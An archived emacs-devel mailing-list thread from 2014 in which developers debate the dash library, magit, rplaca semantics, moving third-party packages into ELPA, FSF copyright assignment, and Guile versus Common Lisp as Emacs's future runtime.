>> for integration testing. So, I pull down dash on every checking for
>> several of my projects. In time, I am sure dash will become the most
>> downloaded package because of this.
>
> I don't "get" dash and s, but lots of people developing more
> impressive things than I will ever be able to do seem happy with it so
> who am I to judge?  When I write a patch, I intend it to become part
> of core, so dash/s are not options.

I think dash just makes list operations a lot easier. So, I use this,
for instance, to nil a tree of markers.

(defun m-buffer-nil-marker (markers)
 (-map
   (lambda (marker)
     (set-marker marker nil))
   (-flatten markers)))

I could also have done

(--map (set-marker it nil) 
      (-flatten markers))
     

or even

(--tree-map
     (set-marker it nil)
   markers)


I always found list operation in emacs a bit low-level. Dash also uses a
lot names familar to people from other languages which help. I agree
about getting into core, but with package.el coming on a-pace this might
be less of a worry in future.


>
>> Once Emacs switches to git, I would guess the percentage of people on
>> this list who do not install magit will shrink to a tiny number. My
>> guesses are often wrong though!
>
> Magit is nice, and probably for a git gui *the best* you can get, but
> I'm still frustrated by it (how do I format-patch?!) and must often
> default to the terminal.  The manual and things like staging are
> wonderful though.

I drop to the command line also. The manual is good though -- I think it
says "with magit you'll probably only have to drop through to the
command line once a day". True enough.

Phil

Re: Emacs Lisp's future

[Rasmus]

phillip.lord@newcastle.ac.uk (Phillip Lord) writes:

> Rasmus <rasmus@gmx.us> writes:
>
>>> Yep, upgrades will be downloads. A number of packages on there are used
>>> for integration testing. So, I pull down dash on every checking for
>>> several of my projects. In time, I am sure dash will become the most
>>> downloaded package because of this.
>>
>> I don't "get" dash and s, but lots of people developing more
>> impressive things than I will ever be able to do seem happy with it so
>> who am I to judge?  When I write a patch, I intend it to become part
>> of core, so dash/s are not options.
>
> I think dash just makes list operations a lot easier. So, I use this,
> for instance, to nil a tree of markers.
>
> (defun m-buffer-nil-marker (markers)
>  (-map
>    (lambda (marker)
>      (set-marker marker nil))
>    (-flatten markers)))

Flatten in nontrivial, but assuming you got something similar there's
no difference from mapcar or mapc, no?

> I could also have done
>
> (--map (set-marker it nil) 
>       (-flatten markers))
>
> or even
>
> (--tree-map
>      (set-marker it nil)
>    markers)

That is cool, yes, but not really (much) easier, and perhaps a bit
less readable.

Anyway, we're getting off topic here.

> I always found list operation in emacs a bit low-level. Dash also uses a
> lot names familar to people from other languages which help. I agree
> about getting into core, but with package.el coming on a-pace this might
> be less of a worry in future.

But this drives good stuff into external packages.  When search-costs
are non-nil this could be bad. . .  It's bad enough that, say, AUCTeX
is not part of the Emacs tarball.

Cheers,
Rasmus

-- 
⠠⠵

Re: Emacs Lisp's future

[Ivan Andrus]

[-- Attachment #1: Type: text/plain, Size: 655 bytes --]

On Sep 18, 2014, at 9:17 AM, Richard Stallman <rms@gnu.org> wrote:

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

provide sane names when necessary (like setcar is provided for rplaca)


setcar is not entirely equivalent to rplaca -- they return different
values.  That's why I gave it a different name.


That appears to no longer be true (emacs-24 branch):

rplaca is an alias for `setcar' in `subr.el'.

(rplaca CELL NEWCAR)

Set the car of CELL to be NEWCAR.  Returns NEWCAR.

-Ivan

[-- Attachment #2: Type: text/html, Size: 941 bytes --]

Re: Emacs Lisp's future

[Daniel Colascione]

[-- Attachment #1: Type: text/plain, Size: 676 bytes --]

On 09/17/2014 07:07 PM, Alexis wrote:
> i like this suggestion. i'm rather comfortable with Perl5 REs, and can
> find myself frustrated trying to create REs in ELisp. Having said that,
> the issue is not usually the syntax of ELisp REs per se (e.g. needing to
> escape things like capturing parentheses or the alternatives pipe); it's
> needing to escape various things /further/ because REs can only be
> specified in the form of a standard ELisp string. On several occasions
> i've ended up using a combination of pcre-to-elisp and re-builder to try
> to work out if the problem is too few backslashes, too many backslashes,
> or both.

That's why we have rx.


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: Emacs Lisp's future

[David Kastrup]

Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Brad's status report in contrast was rather to the point, and the web
>> page at <URL:http://www.emacswiki.org/emacs/GuileEmacsTodo> paints a
>> more realistic picture of the current situation as well.
>
> Do you see any points there that mention incompatibilities between
> Emacs Elisp and Guile Elisp semantics?

My fault: that's actually the Todo list (which is also, uh, diverging
just so slightly from your characterization of the current situation).
The discussion of incompatible semantics and some of the consequences is
at <URL:http://www.emacswiki.org/emacs/GuileEmacs>.

>> At the current point of time, it definitely appears that the
>> marketing department should not fear being overtaken by the
>> engineering department, even though the latter is making solid
>> progress.
>
> I think the marketing department you have in mind consists of me, who
> is not exactly a Guile developer.  *Hangs head in shame.* Sorry that
> my enthusiasm over Guile-Emacs and a more unified GNU system have
> annoyed you; no reason to accuse Guile of marketing.  Give me all the
> blame.

The problem is not one of enthusiasm, it is one of extemporizing
non-existent information and reinterpreting existing information based
on one's preconceptions.  While how people want things to be is not
completely unrelated to how they will end up, that is much more the case
when they can significantly contribute themselves to the things moving
where they want them to be.

But the main challenges here are of technical nature.  I see a real
problem regarding the #f '() nil situation.  If you take a look, say, at
<URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=17474>, you'll find
that thinking outside of the Scheme standard box even regarding useful
choices for unspecified behavior is quite unpopular with GUILE.

That's unfortunate for the chances of moving VM behavior and primitives
in manners consciously more friendly towards Lisp semantics.  The
priority of GUILE very much lies with Scheme, with a narrow view towards
filling functionality left open by the Scheme standard with anything
more useful than throwing errors.

-- 
David Kastrup

Re: Emacs Lisp's future

[Johan Bockgård]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> Sounds good.  If someone wants to look deeper into what it would take to
> use ECL in Emacs, that would be very welcome.

You could try asking ECL's author,

http://article.gmane.org/gmane.lisp.ecl.general/345

Re: Emacs Lisp's future

[Stefan Monnier]

> (defun m-buffer-nil-marker (markers)
>  (-map
>    (lambda (marker)
>      (set-marker marker nil))
>    (-flatten markers)))

I must say I dislike flatten.  Here for example, it just creates a list
to iterate over some elements.

> (--tree-map
>      (set-marker it nil)
>    markers)

That's much better, for instance.


        Stefan

Re: Emacs Lisp's future

[Sam Steingold]

> * Stefan Monnier <zbaavre@veb.hzbagerny.pn> [2014-09-17 13:53:45 -0400]:
>
> Of course, another issue with Common-Lisp integration is that we'd
> want to figure out how to integrate the two languages.  So, we'd need
> to investigate what are the current incompatibilities.

Running ELisp code in CL has been supported for 15 years.
http://sourceforge.net/p/clocc/hg/ci/default/tree/src/cllib/elisp.lisp

-- 
Sam Steingold (http://sds.podval.org/) on darwin Ns 10.3.1265
http://www.childpsy.net/ http://palestinefacts.org http://iris.org.il
http://memri.org http://truepeace.org http://openvotingconsortium.org
Lottery is a tax on statistics ignorants.  MS is a tax on computer-idiots.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

For popular packages to be distributed outside of Emacs and ELPA
has some bad consequences:

* We can't change them when we change some part of Emacs that they use.
That makes it hard for us to change interfaces.

* We don't have copyright assignments in them, so we can't move the code
into Emacs.

* They may say things that work against the GNU Project in other ways,
such as by recommending nonfree programs, or by recommending rivals of
GNU packages.

I think therefore that we do more to move the popular packages into
ELPA or Emacs.

Meanwhile, code in Emacs or ELPA should not use external packages.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    Once Emacs switches to git, I would guess the percentage of people on
    this list who do not install magit will shrink to a tiny number.

What is magit?  Why is it preferable to using VC?
And why is it not in Emacs?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

If dash is a useful tool, we should incorporate it into Emacs.
Who is the author of dash?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    That appears to no longer be true (emacs-24 branch):

    rplaca is an alias for `setcar' in `subr.el'.

    (rplaca CELL NEWCAR)

    Set the car of CELL to be NEWCAR.  Returns NEWCAR.

If I recall right, rplaca traditionally returned CELL, not NEWCAR.
Thus, this change seems like an error.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Rasmus]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
> For popular packages to be distributed outside of Emacs and ELPA
> has some bad consequences:
>
> * We can't change them when we change some part of Emacs that they use.
> That makes it hard for us to change interfaces.
>
> * We don't have copyright assignments in them, so we can't move the code
> into Emacs.
>
> * They may say things that work against the GNU Project in other ways,
> such as by recommending nonfree programs, or by recommending rivals of
> GNU packages.
>
> I think therefore that we do more to move the popular packages into
> ELPA or Emacs.

Great!

But this may be easier said than done.

* Take Magit.  According to github it has 124 contributors.  Even if the
  main contributors would agree to move it to ELPA, it may not be easy
  to establish contact to everyone.  Cider has 82, projectile 79 etc.
  The real number of assignments is probably less than the sum, though.

* For auto-complete there's already Company in ELPA (of course there can
  be two packages doing the same thing).

* ESS is already tied to the R project.

Something like integrating the two big ido modes (smex and
ido-ubiquitous) into ido and integrating desired functions from dash
and s may be nice short-run targets (but people with more intimidate
knowledge of Emacs core programming will no doubt have greater
insights on this).

–Rasmus

-- 
Lasciate ogni speranza o voi che entrate: siete nella mani di'machellaio

Re: Emacs Lisp's future

[Rasmus]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
> If dash is a useful tool, we should incorporate it into Emacs.
> Who is the author of dash?

Magnar Sveen (Cc) is the author of dash.el and s.el together with
contributors.

—Rasmus

-- 
The Kids call him Billy the Saint

Re: Emacs Lisp's future

[Rasmus]

The following message is a courtesy copy of an article
that has been posted to gmane.emacs.devel as well.

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
>     Once Emacs switches to git, I would guess the percentage of people on
>     this list who do not install magit will shrink to a tiny number.
>
> What is magit?

In their own words

    Magit is an interface to the version control system Git,
    implemented as an Emacs extension.

    Unlike Emacs' native Version Control package which strives to
    provide a unified interface to various version control systems,
    Magit only supports Git and can therefore better take advantage of
    its native features.

It has so very nice features but it very git-centric.  For instance in
the diff-view you can stash (precommit) only a subset of changed
lines, effectively splitting your uncommited work into several patches
easily.

> Why is it preferable to using VC?

A while ago VC was not good for git.  I think I remember having issues
with committing several files in one commit and with branches way back
with VC.  There has been some recent patches for VC-git so it's
probably better now.  I haven't tested VC recently (I mostly use the
command line).

Magit has a lot of traction by now.

> And why is it not in Emacs?

The current maintainer is Jonas Bernoulli (Cc) and the original author
is Marius Vollmer.

—Rasmus

-- 
Slowly unravels in a ball of yarn and the devil collects it

Re: Emacs Lisp's future

[Stefan Monnier]

>> * Stefan Monnier <zbaavre@veb.hzbagerny.pn> [2014-09-17 13:53:45 -0400]:
>> Of course, another issue with Common-Lisp integration is that we'd
>> want to figure out how to integrate the two languages.  So, we'd need
>> to investigate what are the current incompatibilities.
> Running ELisp code in CL has been supported for 15 years.
> http://sourceforge.net/p/clocc/hg/ci/default/tree/src/cllib/elisp.lisp

As mentioned when someone pointed to a CL-to-Elisp compiler, compiling
one language to another is actually slightly different from integrating
two language.


        Stefan

Re: Emacs Lisp's future

[Stefan Monnier]

> I think therefore that we do more to move the popular packages into
> ELPA or Emacs.

I've been the main driving force behind the addition of packages to GNU
ELPA so far.  I hope other people can give me a hand.  Most of the work
for that requires very little technical knowledge.


        Stefan

Re: Emacs Lisp's future

[Andreas Röhler]

On 19.09.2014 01:19, Richard Stallman wrote:
> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
>      That appears to no longer be true (emacs-24 branch):
>
>      rplaca is an alias for `setcar' in `subr.el'.
>
>      (rplaca CELL NEWCAR)
>
>      Set the car of CELL to be NEWCAR.  Returns NEWCAR.
>
> If I recall right, rplaca traditionally returned CELL, not NEWCAR.
> Thus, this change seems like an error.
>

Hi Richard,

IIUC this was just an example.

Once mentioned a multitude of string-strip functions, used to remove whitespace-characters from beginning or end of string - while missing a canoncial form.

Maybe past upcoming release discuss the standard library should pay.

Best,

Andreas

Re: Emacs Lisp's future

[Nic Ferrier]

Rasmus <rasmus@gmx.us> writes:

> Richard Stallman <rms@gnu.org> writes:
>
>> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
>> [[[ whether defending the US Constitution against all enemies,     ]]]
>> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>>
>> If dash is a useful tool, we should incorporate it into Emacs.
>> Who is the author of dash?
>
> Magnar Sveen (Cc) is the author of dash.el and s.el together with
> contributors.

This is a very big problem. A lot of non-GNU-Emacs emacs packages (stuff
on Melpa, stuff on Marmalade) have depends to s and dash. So they can't
be integrated into Emacs until s and dash are.

My understanding is that Magnars lost control of contributors to s and
dash some time ago. Getting people to sign papers will be hard.

It's very sad.

I am torn between a much more open and distributed Emacs (which I
suspect rms won't like) and having Emacs stay guaranteed free and pretty
much consistent.

But that's what we did when we introduced packages. How else did people
think it would end?


Nic

Re: Emacs Lisp's future

[Andreas Schwab]

Ivan Andrus <darthandrus@gmail.com> writes:

> On Sep 18, 2014, at 9:17 AM, Richard Stallman <rms@gnu.org> wrote:
>
> setcar is not entirely equivalent to rplaca -- they return different
> values.  That's why I gave it a different name.
>
>
> That appears to no longer be true (emacs-24 branch):

For some value of "no longer".

Changes in Emacs 1.6

* rplaca is now a synonym for setcar, and rplacd for setcdr.
 eql is now a synonym for eq; it turns out that the Common Lisp
 distinction between eq and eql is insignificant in Emacs.
 numberp is a new synonym for integerp.

Andreas.

-- 
Andreas Schwab, schwab@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."

Re: Emacs Lisp's future

[David Kastrup]

Andreas Schwab <schwab@linux-m68k.org> writes:

> Ivan Andrus <darthandrus@gmail.com> writes:
>
>> On Sep 18, 2014, at 9:17 AM, Richard Stallman <rms@gnu.org> wrote:
>>
>> setcar is not entirely equivalent to rplaca -- they return different
>> values.  That's why I gave it a different name.
>>
>>
>> That appears to no longer be true (emacs-24 branch):
>
> For some value of "no longer".
>
> Changes in Emacs 1.6
>
> * rplaca is now a synonym for setcar, and rplacd for setcdr.
>  eql is now a synonym for eq; it turns out that the Common Lisp
>  distinction between eq and eql is insignificant in Emacs.
>  numberp is a new synonym for integerp.

Well, the other changes have not survived when Emacs gained floating
point numbers.  Version 19.0 or so?

-- 
David Kastrup

Re: Emacs Lisp's future

[Eric S. Raymond]

Rasmus <rasmus@gmx.us>:
> > Why is it preferable to using VC?
> 
> A while ago VC was not good for git.  I think I remember having issues
> with committing several files in one commit and with branches way back
> with VC.

I fixed the multi-file commit issue in 2006.  If there is still some issue 
with brances, please explain so I can fix it.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Nic Ferrier writes:

 > I am torn between a much more open and distributed Emacs (which I
 > suspect rms won't like)

What's not open or distributed about Emacs?  Maintaining legal
paperwork is a cost and an inconvenience, but the GPL itself legally
guarantees openness and in practice Emacs development is highly
distributed.  ELPA is only going to provide more cases where people
want to "sign papers", or to gather "papers" from their coauthors.  I
can't see this as a problem -- Emacs will acquire more copyrights than
it would have otherwise.

I suppose it's theoretically possible that the body of unassigned and
perhaps unassignable Emacs Lisp will grow faster than the body of
assigned Emacs Lisp, but I doubt it.  Even if it does, most people do
obey the rules, and the body of free software will increase.

 > and having Emacs stay guaranteed free 

There are no guarantees.  It is certainly possible that an SCO-like
attack could be made on Emacs, especially via submarine patent.  The
FSF legal policy merely makes it less likely to succeed, and provides
the FSF the option of shifting costs onto contributors if it fails to
defend the copyrights they claimed to assign.

 > But that's what we did when we introduced packages. How else did
 > people think it would end?

Huh?  Packages simply are a way of making long-standing practices
(development and distribution by satellite projects) more convenient
for end users, permitting multiple development cycles for "core"
modules if desired by the core developers, and to some extent blurring
the line between core-developer and end-user convenience.

As long as GNU ELPA exists, there is no reason to believe that Emacs
is at any more legal risk than ever.  The only legal "danger" to Emacs
created by third-party packages is that, because of the greater
convenience, people who otherwise would not have used them at all may
be exposed to "buccaneer" packages from folks who play fast and loose
with the GPL.  As long as everybody is aware that GNU ELPA protects
them from that, it's their choice.  You may not like knowing some will
make the "wrong" choice, and I know RMS doesn't like it, but what do
you propose as the alternative that is safer?  The package system
itself doesn't favor or enable GPL violations and other unfree
practices, except possibly as a side effect of more free software
being available to violate (unlike "permissive" licensing, which does
enable unfree distribution and intentionally does so).

The practical problem created by packages is (to some eyes) a blessing
in disguise.  By enabling convenient separate development and
distribution of many more Lisp packages than would otherwise exist,
separate from Emacs core, it "exports" many APIs that would otherwise
be considered internal.  Developers wishing to change these "exported"
APIs will encounter a lot more resistance, especially from package
maintainers whose development cycles differ from the core's.  But many
projects have found such discipline to be useful in encouraging
development of a community of library modules and applications.

Consider-the-source-ly y'rs,


Steve

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Nic Ferrier writes:
>
>  > I am torn between a much more open and distributed Emacs (which I
>  > suspect rms won't like)
>
> What's not open or distributed about Emacs?  Maintaining legal
> paperwork is a cost and an inconvenience, but the GPL itself legally
> guarantees openness and in practice Emacs development is highly
> distributed.  ELPA is only going to provide more cases where people
> want to "sign papers", or to gather "papers" from their coauthors.  I
> can't see this as a problem -- Emacs will acquire more copyrights than
> it would have otherwise.
>
> I suppose it's theoretically possible that the body of unassigned and
> perhaps unassignable Emacs Lisp will grow faster than the body of
> assigned Emacs Lisp, but I doubt it.  Even if it does, most people do
> obey the rules, and the body of free software will increase.
>
>  > and having Emacs stay guaranteed free 
>
> There are no guarantees.  It is certainly possible that an SCO-like
> attack could be made on Emacs, especially via submarine patent.  The
> FSF legal policy merely makes it less likely to succeed, and provides
> the FSF the option of shifting costs onto contributors if it fails to
> defend the copyrights they claimed to assign.

The cost-shifting is not likely to ever trigger since it is rather
explicitly only applicable for deliberate or at least conscious
inclusion of material from uncleared origin.

I think it's more a protection against blatant submarines.  What the
assignments do does not significantly protect against "an attack on
Emacs".  Rather they make sure that the FSF can aggressively pursue
violations of the GPL on Emacs without having to fear muddy waters
resulting in large legal costs and settlements.

Now that's my personal take of the situation.  I cannot vouch for
Richard's though: after all, the main trigger for creating the GPL _was_
a cease-and-desist call concerning the redistribution of derivatives of
Gosling's Emacs variant, causing a bunch of lost work.

-- 
David Kastrup

Re: Emacs Lisp's future

[Nic Ferrier]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Nic Ferrier writes:
>
>  > I am torn between a much more open and distributed Emacs (which I
>  > suspect rms won't like)
>
> What's not open or distributed about Emacs?  Maintaining legal
> paperwork is a cost and an inconvenience, but the GPL itself legally
> guarantees openness and in practice Emacs development is highly
> distributed.  ELPA is only going to provide more cases where people
> want to "sign papers", or to gather "papers" from their coauthors.  I
> can't see this as a problem -- Emacs will acquire more copyrights than
> it would have otherwise.

I think Emacs is free, not "open". Slightly different goals, I applaud
both. To me, freedom is, on the whole, more important. Other people
disagree though.


> I suppose it's theoretically possible that the body of unassigned and
> perhaps unassignable Emacs Lisp will grow faster than the body of
> assigned Emacs Lisp, but I doubt it.  Even if it does, most people do
> obey the rules, and the body of free software will increase.

I don't think anything in MELPA is not free. It's certainly not all
GPLed though.

And I think we already have the situation of anti-GPL people
contributing to MELPA.


I've agreed with RMS to require the GPL or compatible for Marmalade.


> The practical problem created by packages is (to some eyes) a blessing
> in disguise.  By enabling convenient separate development and
> distribution of many more Lisp packages than would otherwise exist,
> separate from Emacs core, it "exports" many APIs that would otherwise
> be considered internal.  

And those APIs that most Emacs users may come to rely on (I use the term
"Emacs" when really I mean "most Emacs users") may not be free. Hence
freedom is potentially threatened.

The FSF has the rules it has for a reason.

The openness people don't want those rules because it restricts
"openness".

But when you relax the rules you open yourself to attack.


I'm not trying to be histrionic. I'm just saying it's there.

There are things we could do to battle the potential problem, making it
easier to assign copyright might be one thing.


Nic

Re: Emacs Lisp's future

[Rasmus]

Hi Stephen,

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Nic Ferrier writes:
>
>  > I am torn between a much more open and distributed Emacs (which I
>  > suspect rms won't like)
>
> What's not open or distributed about Emacs?  Maintaining legal
> paperwork is a cost and an inconvenience, but the GPL itself legally
> guarantees openness and in practice Emacs development is highly
> distributed.  ELPA is only going to provide more cases where people
> want to "sign papers", or to gather "papers" from their coauthors.  I
> can't see this as a problem -- Emacs will acquire more copyrights than
> it would have otherwise.
> [...]

Perhaps a more realistic issue is if something that should be in core
cannot be.

Say "next Org" (or whatever...) emerges and everybody agrees that it
should be in core.  Developers of "next Org" sign the paperwork.  But
"next Org" depends on "popular foreign library".  Now you've got an
issue.  The Emacs tarball is no longer enough and I need to maintain a
portable installation including an init file with "popular foreign
repo" to get to work on, say, foreign PCs.

It is an issue whether infant "next Org" knows it's "next Org".  If it
knows, it cannot use "popular foreign library" although it would
enhance development.  If it doesn't know it's "next Org" you may end
up in the scenario above.

At the moment 146 packages depends on s or dash and can thus not be
included in core unless rewritten.  Assuming they all GPL'ed it may
not be a loss of freedom in the short run, but it can still have
negative dynamic effects.

>  > But that's what we did when we introduced packages. How else did
>  > people think it would end?
>
> Huh?  Packages simply are a way of making long-standing practices
> (development and distribution by satellite projects) more convenient
> for end users, permitting multiple development cycles for "core"
> modules if desired by the core developers, and to some extent blurring
> the line between core-developer and end-user convenience.

Agreed.

> [...]


> The practical problem created by packages is (to some eyes) a blessing
> in disguise.  By enabling convenient separate development and
> distribution of many more Lisp packages than would otherwise exist,
> separate from Emacs core, it "exports" many APIs that would otherwise
> be considered internal.  [...].

One does not preclude the other.  Last I checked Company was hosted on
github.  Org and Gnus live in separate repos.  The

API argument goes over my head.  Isn't the only API in questions
#autoload of functions?  Or do you have Richard comment on changing
functions in mind?  If disputing the latter, it has been pretty
convenient for Org.  Nicolas (the author of ox, the org exporter) has
changed all exporter in org-core and org-contrib at once, after making
changes to ox.  That option is very convenient when implementations
have yet to reach the (theoretical) limit of efficiency — however
that's measured.

Cheers,
Rasmus

-- 
May the Force be with you

Re: Emacs Lisp's future

[Sam Steingold]

> * Stefan Monnier <zbaavre@veb.hzbagerny.pn> [2014-09-18 20:56:49 -0400]:
>
>>> * Stefan Monnier <zbaavre@veb.hzbagerny.pn> [2014-09-17 13:53:45 -0400]:
>>> Of course, another issue with Common-Lisp integration is that we'd
>>> want to figure out how to integrate the two languages.  So, we'd need
>>> to investigate what are the current incompatibilities.
>> Running ELisp code in CL has been supported for 15 years.
>> http://sourceforge.net/p/clocc/hg/ci/default/tree/src/cllib/elisp.lisp
>
> As mentioned when someone pointed to a CL-to-Elisp compiler, compiling
> one language to another is actually slightly different from
> integrating two language.

I am puzzled by this distinction.

When you load elisp.lisp into your CL, you can

* load ELisp files, e.g.,
>>> (el::load "backquote")
>>> (el::load "calendar")
>>> (el::load "cal-hebrew")
>>> (el::load "subr")
>>> (el::load "help")

* Compile them:
>>> (cllib::compile-el-file "backquote")
>>> (cllib::compile-el-file "calendar")
>>> (cllib::compile-el-file "cal-hebrew")

* Run ELisp code:
>>> (el::calendar-hebrew-date-string)

I am not sure what if missing.

-- 
Sam Steingold (http://sds.podval.org/) on darwin Ns 10.3.1265
http://www.childpsy.net/ http://islamexposedonline.com
http://americancensorship.org http://memri.org http://mideasttruth.com
Just because you're paranoid doesn't mean they AREN'T after you.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > The cost-shifting is not likely to ever trigger since it is rather
 > explicitly only applicable for deliberate or at least conscious
 > inclusion of material from uncleared origin.

Not the one I signed.  The one I signed for XEmacs in 1998 makes me
unconditionally responsible for any costs incurred by the FSF in an
unsuccessful defense of my contribution from a copyright challenge.  I
have no legal protection in that event.  Just the good sense of the
FSF legal staff.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    My understanding is that Magnars lost control of contributors to s and
    dash some time ago. Getting people to sign papers will be hard.

If some contributors don't sign papers, and their contributions are
big enough to be legally significant, we may need in some cases to
rewrite their contributions.

We should get good packages into Emacs early, to prevent this sort of
problem from developing.  And we should warn the developers that
if they don't do this, it will cause problems for our support for
their packages.

I recommend we set up a group of volunteers to look for new packages
at an early (one developer or just a few) that seem promising, and
talk with them about proceeding to get those packages into Emacs soon.

We should reject the "ecosystem" viewpoint, making it clear that Emacs
consists of what's in the Emacs and ELPA repositories; other people's
Lisp programs are not Emacs.

We should discourage package developers from depending on packages
that are not in Emacs, warning them that this would cause trouble
for us and we will be peeved at them.

To some extent, we have exacerbated the problem by recommending the
packages that are outside Emacs too eagerly.  See "Where can I get
Emacs Lisp packages that don't come with Emacs?" in the Emacs FAQ.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

Giving freedom to users is an explicit goal of GNU Emacs.
"Openness" is not a goal.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

RE: Emacs Lisp's future

[Drew Adams]

> Emacs consists of what's in the Emacs and ELPA repositories;
> other people's Lisp programs are not Emacs.

Nonsense.  You might as well claim they are not Lisp either!

Re: Emacs Lisp's future

[Robin Templeton]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> The only standard language into which Elisp can evolve, AFAICT, is
> Common Lisp.  [ Now some readers get disappointed, while some others
> become excited.  ]  There are some incompatibilities between the two
> languages, but I can imagine working them out over the years, or even
> living with them without too much trouble, such that we could use
> Common-Lisp libraries in Emacs.
>
> Of course, that's for the language side, but on the implementation side,
> I don't really know what Common-Lisp implementation we could re-use
> (both GNU implementations are dormant, so there's no manpower for us
> tap into).  Still: there are many Common-Lisp implementations out there,
> so there's probably one that could work for us.

There is: Guile-Emacs combined with an improved and extended `cl'
library, plus language extensions needed for Common Lisp compatibility,
many of which have native support in the Guile VM.

I've also considered the possibility of porting Emacs to a Common Lisp
implementation; it does come up in Lisp circles once in a while. I think
that route would entail difficulties that don't apply to Guile-Emacs,
for a few different reasons.

First and most obviously, Guile is also a GNU project, and therefore
shares certain technical and political priorities with Emacs, which
isn't necessarily a given elsewhere.

Consider the Common Lisp implementations that could work for Emacs:
those that are free software and are actively developed with large user
communities. SBCL is one such Lisp. It's a first-rate Lisp
implementation with an excellent compiler, wide adoption in the free
software Lisp community and lots of compatible libraries. But it's not a
good fit for Emacs's needs. First, it's a compiler-only implementation
with a large and complex runtime system including garbage collectors,
native-code compilers, assemblers, etc. that exists largely
independently of the host *nix environment. And as a result, it's
monstrously difficult to port to new platforms. It's also not at all
designed to be an extension language, and the current version of the
manual says: "Calling Lisp functions from C is sometimes possible, but
is extremely hackish and poorly supported as of SBCL 0.7.5."

AFAICT, similar considerations apply to Clozure CL, the only other good
candidate I know of, although it does at least support callbacks from C.

Beyond that, it's true that Common Lisp is more closely related to Elisp
than Scheme is, and Common Lisp and Elisp have a greater degree of
overlap in their semantics and standard libraries. Even so, I believe
that the Guile platform is a superior choice as a foundation for Emacs
and Emacs Lisp.

Common Lisp was the first standardized object-oriented language and was
shaped by decades of experience with traditional Lisp systems, and it
would be beneficial for Elisp to become more compatible with Common
Lisp. Nonetheless, Common Lisp tends to agglutinate logically distinct
features into components which are rather monolithic. That's not a bad
thing in most contexts, but makes things trickier for Emacs and Elisp.
Scheme, on the other hand, is famously designed according to the
principle that

  "Programming languages should be designed not by piling feature on top
   of feature, but by removing the weaknesses and restrictions that make
   additional features appear necessary,"

